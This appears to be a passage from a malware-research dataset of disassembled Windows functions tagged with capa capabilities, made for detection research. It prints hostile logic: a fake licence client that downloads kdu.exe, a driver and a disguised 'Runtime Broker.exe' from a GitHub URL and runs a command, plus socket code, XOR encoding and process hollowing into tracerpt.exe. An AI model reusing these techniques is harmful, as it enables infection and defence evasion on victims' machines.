joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001410
Capabilities:
Execute command
Schedule task via at

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
lea rbp, [rsp - 0x30]
sub rsp, 0x130
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x20], rax
lea rcx, str._Client__License__C:__:_00000_00000_00000_00000_00000_n
call fcn.140001010
lea rcx, str._Client__Successfully_Login_n
call fcn.140001010
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str._Client__Expiry:_2502_07_30_00:15:03_n
call fcn.140001010
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x10], xmm0
mov qword [rbp], rax
lea rdx, str.https:__raw.githubusercontent.com_coplala_UpdaterRep_main_kdu.exe
lea rcx, [rsp + 0x30]
call fcn.1400017c0
nop
lea rdx, str.kdu.exe
lea rcx, [rsp + 0x50]
call fcn.1400019b0
nop
lea rdx, str.https:__raw.githubusercontent.com_coplala_UpdaterRep_main_dum.sys
lea rcx, [rsp + 0x70]
call fcn.1400017c0
nop
lea rdx, str.dum.sys
lea rcx, [rbp - 0x70]
call fcn.1400019b0
nop
lea rdx, str.https:__raw.githubusercontent.com_coplala_UpdaterRep_main_Runtime_20Broker.exe
lea rcx, [rbp - 0x50]
call fcn.1400017c0
nop
lea rdx, str.Runtime_Broker.exe
lea rcx, [rbp - 0x30]
call fcn.1400019b0
nop
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x10], xmm0
mov qword [rbp], 0
mov ecx, 0xc0
call fcn.140002300
mov rbx, rax
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rax
lea rcx, [rax + 0xc0]
mov qword [rbp], rcx
lea rax, [rbp - 0x10]
mov qword [rsp + 0x20], rax
lea rdi, [rsp + 0x30]
xorps xmm0, xmm0
movups xmmword [rbp + 8], xmm0
mov qword [rbp + 8], rbx
mov qword [rbp + 0x10], rbx
lea rax, [rbp - 0x10]
mov qword [rbp + 0x18], rax
nop word [rax + rax]
mov rdx, rdi
mov rcx, rbx
call fcn.1400020a0
add rbx, 0x40
mov qword [rbp + 0x10], rbx
add rdi, 0x40
lea rax, [rbp - 0x10]
cmp rdi, rax
jne 0x140001540
mov qword [rbp - 8], rbx
lea r9, [fcn.140001620]
mov edx, 0x40
lea r8d, [rdx - 0x3d]
lea rcx, [rsp + 0x30]
call fcn.14000233c
mov rbx, qword [rbp - 0x10]
mov rdi, qword [rbp - 8]
cmp rbx, rdi
je 0x1400015a9
nop dword [rax + rax]
lea rdx, [rbx + 0x20]
mov rcx, rbx
call fcn.140001230
test al, al
je 0x140001607
add rbx, 0x40
cmp rbx, rdi
jne 0x140001590
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x140004650]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str._Client__You_can_now_close_this_window_n
call fcn.140001010
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::basic_istream_char__struct_std::char_traits_char__::get_void____ptr64]
nop
lea rcx, [rbp - 0x10]
call fcn.140001920
xor eax, eax
mov rcx, qword [rbp + 0x20]
xor rcx, rsp
call fcn.1400022e0
lea r11, [rsp + 0x130]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret
lea rcx, [rbp - 0x10]
call fcn.140001920
mov eax, 1
jmp 0x1400015e6
Function at 0x140002d28
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140002d72
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140002d72
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140002d72
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140002d72
cmp dword [rcx + 0x84], 0xe
jbe 0x140002d72
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140002d74
xor al, al
add rsp, 0x28
ret

Function at 0x141c98738
Capabilities:
Decompress data using aplib

Disassembly:
call 0x141c988bf
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x141c98769
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x141c9874f
add dl, dl
jne 0x141c98776
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x141c987d6
xor eax, eax
add dl, dl
jne 0x141c98785
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x141c9888d
add dl, dl
jne 0x141c98796
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x141c987a3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x141c987b0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x141c987bd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x141c987ca
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x141c9875e
mov eax, 1
add dl, dl
jne 0x141c987e6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x141c987f3
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x141c987db
sub eax, ebx
mov ebx, 1
jne 0x141c9882c
mov ecx, 1
add dl, dl
jne 0x141c9880e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x141c9881b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x141c98803
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x141c9875e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x141c98848
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x141c98855
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x141c9883d
cmp eax, 0x7d00
jae 0x141c9887b
cmp eax, 0x500
jb 0x141c98876
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x141c9875e
cmp eax, 0x7f
ja 0x141c9887e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x141c9875e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x141c988b2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x141c9875e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x1400111ef
Capabilities:
Terminate process

Disassembly:
jmp 0x1400144a0
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret
Function at 0x140011276
Capabilities:
Parse pe header

Disassembly:
jmp 0x1400157f0
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140015810
xor al, al
jmp 0x140015891
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140015823
xor al, al
jmp 0x140015891
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14001584d
xor al, al
jmp 0x140015891
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140015861
xor al, al
jmp 0x140015891
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140015873
xor al, al
jmp 0x140015891
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14001588f
xor al, al
jmp 0x140015891
mov al, 1
add rsp, 0x38
ret
Function at 0x180001080
Capabilities:
Encode data using xor

Disassembly:
push rbx
push rsi
push rdi
push r15
sub rsp, 0x28
mov qword [rsp + 0x60], r13
xor r15d, r15d
mov qword [rsp + 0x20], r14
mov r13d, r9d
mov edi, r8d
mov r14, rdx
mov rbx, rcx
cmp qword [rcx + 8], r15
jne 0x1800010ae
mov eax, r15d
jmp 0x1800010b4
mov eax, dword [rcx + 0x10]
sub eax, dword [rcx + 8]
lea ecx, [rax + rdi]
mov qword [rsp + 0x50], rbp
cmp ecx, dword [rbx + 0x18]
jb 0x18000114d
pxor xmm0, xmm0
mov eax, ecx
mov qword [rsp + 0x58], r12
cvtsi2sd xmm0, rax
mulsd xmm0, qword [0x18001abc0]
call fcn.180011a24
xor ecx, ecx
mov r8d, 0x1000
lea r9d, [rcx + 4]
cvttsd2si rbp, xmm0
shl ebp, 0xa
mov edx, ebp
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdx, qword [rbx + 8]
mov rsi, rax
test rdx, rdx
jne 0x18000110f
mov ecx, r15d
jmp 0x180001114
mov ecx, dword [rbx + 0x10]
sub ecx, edx
mov r12d, ecx
mov r8d, ecx
mov rcx, rax
call fcn.180008a20
mov rcx, qword [rbx + 8]
test rcx, rcx
je 0x180001139
xor edx, edx
mov r8d, 0x8000
call qword [sym.imp.KERNEL32.dll_VirtualFree]
lea rax, [r12 + rsi]
mov r12, qword [rsp + 0x58]
mov qword [rbx + 8], rsi
mov qword [rbx + 0x10], rax
mov dword [rbx + 0x18], ebp
mov rcx, qword [rbx + 0x10]
mov r8, rdi
mov rdx, r14
call fcn.180008a20
mov r14, qword [rsp + 0x20]
test r13d, r13d
mov r13, qword [rsp + 0x60]
je 0x1800011d0
mov r10d, r15d
mov r9, r15
mov r11, r15
test edi, edi
jle 0x1800011d0
mov rbp, qword [rsp + 0x70]
nop dword [rax]
movzx ecx, byte [r9 + rbp]
mov r8, qword [rbx + 0x10]
inc r9
mov eax, 0x8fb823ef
imul ecx
add edx, ecx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 0xcccccccd
imul edx, edx, 0x1c8
sub ecx, edx
mul r10d
add cl, 0x36
xor byte [r11 + r8], cl
shr edx, 3
lea ecx, [rdx + rdx*4]
add ecx, ecx
cmp r10d, ecx
cmove r9, r15
inc r10d
inc r11
cmp r10d, edi
jl 0x180001180
add qword [rbx + 0x10], rdi
mov rbp, qword [rsp + 0x50]
mov eax, edi
add rsp, 0x28
pop r15
pop rdi
pop rsi
pop rbx
ret
Function at 0x180003240
Capabilities:
Initialize winsock library

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x1d0
mov rax, qword [0x18001e1d0]
xor rax, rsp
mov qword [rsp + 0x1c0], rax
xor edi, edi
lea rax, vtable.CTcpSocket.0
mov rbx, rcx
mov qword [rcx + 0x10], rdi
mov dword [rcx + 0x18], edi
mov qword [rcx], rax
mov dword [rcx + 0x58], edi
mov qword [rcx + 0x48], rdi
mov qword [rcx + 0x50], rdi
lea rax, vtable.CBuffer.0
lea rdx, [rsp + 0x20]
mov qword [rcx + 0x40], rax
mov qword [rcx + 0x60], rax
mov dword [rcx + 0x78], edi
mov qword [rcx + 0x68], rdi
mov qword [rcx + 0x70], rdi
mov qword [rcx + 0x80], rax
mov dword [rcx + 0x98], edi
mov qword [rcx + 0x88], rdi
mov qword [rcx + 0x90], rdi
mov ecx, 0x202
call qword [sym.imp.WS2_32.dll_WSAStartup]
lea edx, [rdi + 1]
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov ecx, edi
mov qword [rbx + 8], rax
xchg dword [rbx + 0x20], ecx
mov qword [rbx + 0xb0], 0xffffffffffffffff
mov qword [rbx + 0xa0], rdi
mov qword [rbx + 0xa8], rdi
mov dword [rbx + 0x1c], edi
mov rax, rbx
mov rcx, qword [rsp + 0x1c0]
xor rcx, rsp
call fcn.1800089f0
mov rbx, qword [rsp + 0x1e8]
add rsp, 0x1d0
pop rdi
ret

Function at 0x180003320
Capabilities:
Set socket configuration

Disassembly:
push rdi
sub rsp, 0x30
cmp dword [rcx + 0x20], 0
mov rdi, rcx
je 0x18000339a
mov rcx, qword [rcx + 0xb0]
lea r9, [rsp + 0x40]
mov edx, 0xffff
mov r8d, 0x80
mov qword [rsp + 0x48], rbx
mov dword [rsp + 0x40], 1
xor ebx, ebx
mov dword [rsp + 0x20], 4
call qword [sym.imp.WS2_32.dll_setsockopt]
mov rcx, qword [rdi + 0xb0]
call qword [sym.imp.KERNEL32.dll_CancelIo]
xchg dword [rdi + 0x20], ebx
mov rcx, qword [rdi + 0xb0]
call qword [sym.imp.WS2_32.dll_closesocket]
mov rcx, qword [rdi + 8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov rbx, qword [rsp + 0x48]
mov qword [rdi + 0xb0], 0xffffffffffffffff
add rsp, 0x30
pop rdi
ret
Function at 0x180003ef0
Capabilities:
Create thread
Set socket configuration

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rbp
push rdi
sub rsp, 0x30
mov eax, dword [rcx + 0x21c]
movzx ebx, r8w
mov rbp, rdx
mov rdi, rcx
test eax, eax
jne 0x180003f1f
mov dword [rcx + 0x23c], 0x598
jmp 0x180003f3e
cmp eax, 0x598
jbe 0x180003f38
xor eax, eax
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
add rsp, 0x30
pop rdi
ret
mov dword [rcx + 0x23c], eax
mov qword [rsp + 0x48], rsi
xor esi, esi
mov dword [rcx + 0x8c], esi
call fcn.1800040a0
mov dword [rdi + 0x48], 1
mov qword [rdi + 0x4c], 5
mov dword [rdi + 0x54], 1
mov eax, 1
lock xadd qword [0x1800233f0], rax
inc rax
mov qword [rdi + 0x68], rax
jne 0x180003f92
mov eax, 1
lock xadd qword [0x1800233f0], rax
inc rax
mov qword [rdi + 0x68], rax
mov rcx, qword [rdi + 0x58]
lea r9, [rsp + 0x40]
mov edx, 0xffff
mov r8d, 0x1001
mov dword [rsp + 0x40], 0x40000
mov dword [rsp + 0x20], 4
call qword [sym.imp.WS2_32.dll_setsockopt]
mov rcx, qword [rdi + 0x58]
lea r9, [rsp + 0x40]
mov edx, 0xffff
mov r8d, 0x1002
mov dword [rsp + 0x40], 0x40000
mov dword [rsp + 0x20], 4
call qword [sym.imp.WS2_32.dll_setsockopt]
movzx r8d, bx
mov rdx, rbp
mov rcx, rdi
call fcn.180004220
test eax, eax
je 0x180004047
lea rax, [rdi + 0x80]
lea r8, [0x180004430]
mov r9, rdi
mov qword [rsp + 0x28], rax
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], esi
call fcn.1800093fc
mov qword [rdi + 0x78], rax
test rax, rax
je 0x180004036
mov rcx, qword [rdi + 0x40]
mov esi, 1
call qword [sym.imp.KERNEL32.dll_ResetEvent]
jmp 0x180004089
mov dword [rdi + 0x84], 8
mov ecx, 0x65f
jmp 0x180004059
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov dword [rdi + 0x84], select
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov dword [rdi + 0x48], esi
mov qword [rdi + 0x4c], 5
mov dword [rdi + 0x54], 1
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, rdi
mov ebx, eax
call fcn.180004d80
mov ecx, ebx
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov eax, esi
mov rsi, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
ret
Function at 0x180004220
Capabilities:
Connect socket
Connect udp socket
Create udp socket
Resolve dns
Set socket configuration

Disassembly:
push rbp
push rsi
push r12
push r13
push r14
sub rsp, 0x80
mov rax, qword [0x18001e1d0]
xor rax, rsp
mov qword [rsp + 0x68], rax
movzx r12d, r8w
mov r14d, 2
mov r13, rdx
mov rbp, rcx
xor esi, esi
mov edx, r14d
lea r8d, [rsi + 0x11]
mov ecx, r14d
call qword [sym.imp.WS2_32.dll_socket]
mov qword [rbp + 0x58], rax
cmp rax, 0xffffffffffffffff
jne 0x180004272
xor eax, eax
jmp 0x180004405
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x38], rsi
lea rcx, [rsp + 0x54]
mov qword [rsp + 0x30], rcx
lea r8, [rsp + 0x50]
mov r9d, 4
mov rcx, rax
mov edx, 0x9800000c
mov qword [rsp + 0x78], rbx
mov dword [rsp + 0x28], esi
mov dword [rsp + 0x50], esi
mov qword [rsp + 0x70], rdi
mov qword [rsp + 0x20], rsi
call qword [sym.imp.WS2_32.dll_WSAIoctl]
mov rcx, qword [rbp + 0x58]
lea r9, [rsp + 0x50]
mov edx, 0xffff
mov r8d, 0xfffffffb
mov dword [rsp + 0x20], 4
call qword [sym.imp.WS2_32.dll_setsockopt]
mov rcx, qword [rbp + 0x58]
lea r9, [rsp + 0x50]
mov edx, 0xffff
mov r8d, 4
mov dword [rsp + 0x20], 4
call qword [sym.imp.WS2_32.dll_setsockopt]
call qword [sym.imp.WS2_32.dll_WSACreateEvent]
mov rcx, r13
mov qword [rbp + 0x60], rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
mov r8, r13
xor edx, edx
xor ecx, ecx
mov r9d, eax
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x20], rsi
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
movsxd rbx, eax
lea eax, [rbx + 1]
movsxd rcx, eax
call fcn.1800089cc
mov rcx, r13
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
mov r8, r13
xor edx, edx
mov r9d, eax
xor ecx, ecx
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov rcx, rdi
mov byte [rbx + rdi], sil
call qword [sym.imp.WS2_32.dll_gethostbyname]
mov rcx, rdi
mov rbx, rax
call fcn.1800089d4
mov rdi, qword [rsp + 0x70]
test rbx, rbx
jne 0x180004393
xor eax, eax
jmp 0x180004400
movzx ecx, r12w
mov word [rsp + 0x58], r14w
call qword [sym.imp.WS2_32.dll_htons]
mov rdx, qword [rbp + 0x60]
mov r8d, gethostbyname
mov word [rsp + 0x5a], ax
mov rax, qword [rbx + 0x18]
mov rcx, qword [rax]
mov eax, dword [rcx]
mov rcx, qword [rbp + 0x58]
mov dword [rsp + 0x5c], eax
call qword [sym.imp.WS2_32.dll_WSAEventSelect]
cmp eax, 0xffffffff
je 0x1800043fe
mov rcx, qword [rbp + 0x58]
lea rdx, [rsp + 0x58]
mov r8d, reloc.WS2_32.dll_recv
call qword [sym.imp.WS2_32.dll_connect]
test eax, eax
je 0x1800043f9
cmp eax, 0xffffffff
jne 0x1800043fe
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
jne 0x1800043fe
mov esi, 1
mov eax, esi
mov rbx, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x68]
xor rcx, rsp
call fcn.1800089f0
add rsp, 0x80
pop r14
pop r13
pop r12
pop rsi
pop rbp
ret
Function at 0x180004850
Capabilities:
Send data
Send data on socket

Disassembly:
push rbx
sub rsp, 0x20
mov eax, dword [rdx + 0x14]
mov rbx, rcx
test eax, eax
je 0x180004880
mov dword [rcx + 0x50], eax
mov dword [rcx + 0x48], 1
mov dword [rcx + 0x4c], 2
xor eax, eax
mov dword [rcx + 0x54], 1
add rsp, 0x20
pop rbx
ret
mov rdx, qword [rcx + 0x60]
mov rcx, qword [rcx + 0x58]
mov r8d, 0x23
call qword [sym.imp.WS2_32.dll_WSAEventSelect]
cmp eax, 0xffffffff
jne 0x1800048bf
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov dword [rbx + 0x48], 1
mov dword [rbx + 0x4c], 2
mov dword [rbx + 0x50], eax
xor eax, eax
mov dword [rbx + 0x54], 1
add rsp, 0x20
pop rbx
ret
mov dword [rbx + 0x88], 1
lea r9, [rbx + 0x220]
lea rcx, [rbx + 0x268]
mov r8, rbx
mov rdx, rbx
mov qword [rsp + 0x30], rdi
mov dword [rbx + 0x8c], 1
call fcn.180005d80
mov rcx, qword [rbx + 0x58]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor edi, edi
call qword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x18000491a
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
cmove eax, edi
mov edi, eax
mov rcx, qword [rbx + 0x68]
call fcn.180003220
test edi, edi
mov rdi, qword [rsp + 0x30]
je 0x180004937
mov ecx, 0x80004005
call fcn.1800012d0
int3
mov eax, 1
add rsp, 0x20
pop rbx
ret

Function at 0x180004950
Capabilities:
Receive data
Receive data on socket

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
push rdi
sub rsp, 0x30
mov rbx, rcx
lea rbp, [0x18001a890]
nop dword [rax]
mov rdx, qword [rbx + 0xa0]
mov rcx, qword [rbx + 0x58]
xor r9d, r9d
mov r8d, 0x598
call qword [sym.imp.WS2_32.dll_recv]
mov edi, eax
test eax, eax
jle 0x180004a09
cmp eax, 0x10
jne 0x1800049bc
mov rax, qword [rbx + 0xa0]
mov rdx, qword [rax]
cmp rdx, qword [rbp]
jne 0x1800049b3
mov rdx, qword [rax + 8]
cmp rdx, qword [rbp + 8]
jne 0x1800049b3
xor eax, eax
jmp 0x1800049b8
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x180004a3b
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov r11d, dword [rbx + 0x244]
mov rdx, qword [rbx + 0xa0]
lea rcx, [rbx + 0x268]
cmp edi, 0x18
jl 0x1800049f4
mov r9, qword [rbx + 0x250]
mov r8d, edi
mov dword [rsp + 0x20], r11d
call fcn.1800063d0
jmp 0x1800049fe
cmp edi, 0xc
jne 0x180004a63
call fcn.180006240
cmp eax, 2
jne 0x180004970
jmp 0x180004a6e
cmp eax, 0xffffffff
jne 0x180004970
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
je 0x180004ab1
cmp eax, 0x2744
je 0x180004970
cmp eax, 0x2746
je 0x180004970
jmp 0x180004a87
mov dword [rbx + 0x48], 1
mov qword [rbx + 0x4c], 5
mov dword [rbx + 0x54], 0
xor eax, eax
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
ret
mov ecx, recv
call qword [sym.imp.WS2_32.dll_WSASetLastError]
mov rcx, qword [rbx + 0x68]
call fcn.180003220
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, 0x4c7
test eax, eax
cmove eax, ecx
mov dword [rbx + 0x48], 1
mov dword [rbx + 0x4c], 4
mov dword [rbx + 0x50], eax
mov dword [rbx + 0x54], 1
xor eax, eax
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
ret
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov eax, 1
add rsp, 0x30
pop rdi
ret
Function at 0x180004d80
Capabilities:
Send data
Send data on socket

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rbx, rcx
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov rcx, rbx
mov edi, eax
call fcn.180004160
test eax, eax
jne 0x180004dac
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
mov edx, edi
mov rcx, rbx
call fcn.180004fa0
mov eax, dword [rbx + 0x88]
xor edi, edi
test eax, eax
je 0x180004de5
cmp dword [rbx + 0x54], edi
je 0x180004ddf
mov rcx, qword [rbx + 0x58]
lea r8d, [rdi + 0x10]
lea rdx, [0x18001a890]
xor r9d, r9d
call qword [sym.imp.WS2_32.dll_send]
mov dword [rbx + 0x88], edi
cmp dword [rbx + 0x48], edi
je 0x180004e02
mov rcx, qword [rbx + 0x68]
call fcn.180003220
mov rcx, qword [rbx + 8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov eax, edi
xchg dword [rbx + 0x20], eax
mov rcx, qword [rbx + 0x60]
test rcx, rcx
je 0x180004e15
call qword [sym.imp.WS2_32.dll_WSACloseEvent]
mov qword [rbx + 0x60], rdi
mov rcx, qword [rbx + 0x58]
cmp rcx, 0xffffffffffffffff
je 0x180004e3c
mov edx, 1
call qword [sym.imp.WS2_32.dll_shutdown]
mov rcx, qword [rbx + 0x58]
call qword [sym.imp.WS2_32.dll_closesocket]
mov qword [rbx + 0x58], 0xffffffffffffffff
mov rcx, rbx
call fcn.180004e60
mov rbx, qword [rsp + 0x30]
mov eax, 1
add rsp, 0x20
pop rdi
ret

Function at 0x180005350
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x30
mov rbx, rcx
mov rcx, qword [rcx + 8]
mov edi, r8d
mov rsi, rdx
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rcx, qword [rbx + 0x358]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
xor eax, eax
xchg dword [rbx + 0x20], eax
xor eax, eax
mov qword [rbx + 0x30], rax
mov word [rbx + 0x38], ax
mov rax, qword [rbx + 0x1c]
mov qword [rbx + 0x30], rax
mov eax, dword [rbx + 0x8c]
mov word [rbx + 0x38], 0x1ca
cmp eax, 3
je 0x1800053af
mov rcx, rbx
call fcn.180004d80
movzx r8d, di
mov rdx, rsi
mov rcx, rbx
call fcn.180003ef0
mov rcx, qword [rbx + 0x358]
mov edx, 0x1770
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x1800053ff
cmp eax, 0x102
je 0x1800053e0
cmp eax, 0xffffffff
jne 0x1800053ed
mov rcx, qword [rbx + 0x358]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
xor al, al
mov rbx, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret
mov eax, 1
xchg dword [rbx + 0x20], eax
mov rcx, qword [rbx + 0x358]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
call qword [sym.imp.WINMM.dll_timeGetTime]
lea r8, [0x180005460]
mov dword [rbx + 0x1c], eax
lea rax, [rsp + 0x40]
mov r9, rbx
mov qword [rsp + 0x28], rax
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 0
call fcn.1800093fc
mov rsi, qword [rsp + 0x50]
mov qword [rbx + 0x360], rax
mov rbx, qword [rsp + 0x48]
mov al, 1
add rsp, 0x30
pop rdi
ret
Function at 0x180006c80
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Get common file path
Resume thread
Use process replacement

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rdi
push r12
sub rsp, 0x6a0
mov rax, qword [0x18001e1d0]
xor rax, rsp
mov qword [rsp + 0x690], rax
mov rbp, qword [0x180022138]
mov rbx, rdx
xor edx, edx
movsxd rdi, ecx
lea rcx, [rsp + 0x50]
lea r8d, [rdx + 0x68]
call fcn.18000b8a0
xor r11d, r11d
lea rcx, [rsp + 0xc0]
mov qword [rbx], r11
mov qword [rbx + 8], r11
xor edx, edx
mov r8d, 0x4d0
mov qword [rbx + 0x10], r11
call fcn.18000b8a0
xor r12d, r12d
lea rcx, [rsp + 0x591]
xor edx, edx
mov r8d, 0xfe
mov dword [rsp + 0x50], WSAGetLastError
mov dword [rsp + 0x8c], 1
mov word [rsp + 0x90], r12w
mov byte [rsp + 0x590], r12b
call fcn.18000b8a0
lea rcx, [rsp + 0x590]
mov edx, 0xff
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea r9, str.WindowsSystem32_tracerpt.exe
lea r8, [rsp + 0x590]
lea rdx, str._s_s
lea rcx, [rsp + 0x590]
mov byte [rsp + 0x593], r12b
call fcn.180006f10
mov qword [rsp + 0x48], rbx
lea rax, [rsp + 0x50]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
lea rcx, [rsp + 0x590]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x180006e44
mov rcx, qword [rbx]
mov r9d, 0x3000
mov r8, rdi
xor edx, edx
mov qword [rsp + 0x6d0], rsi
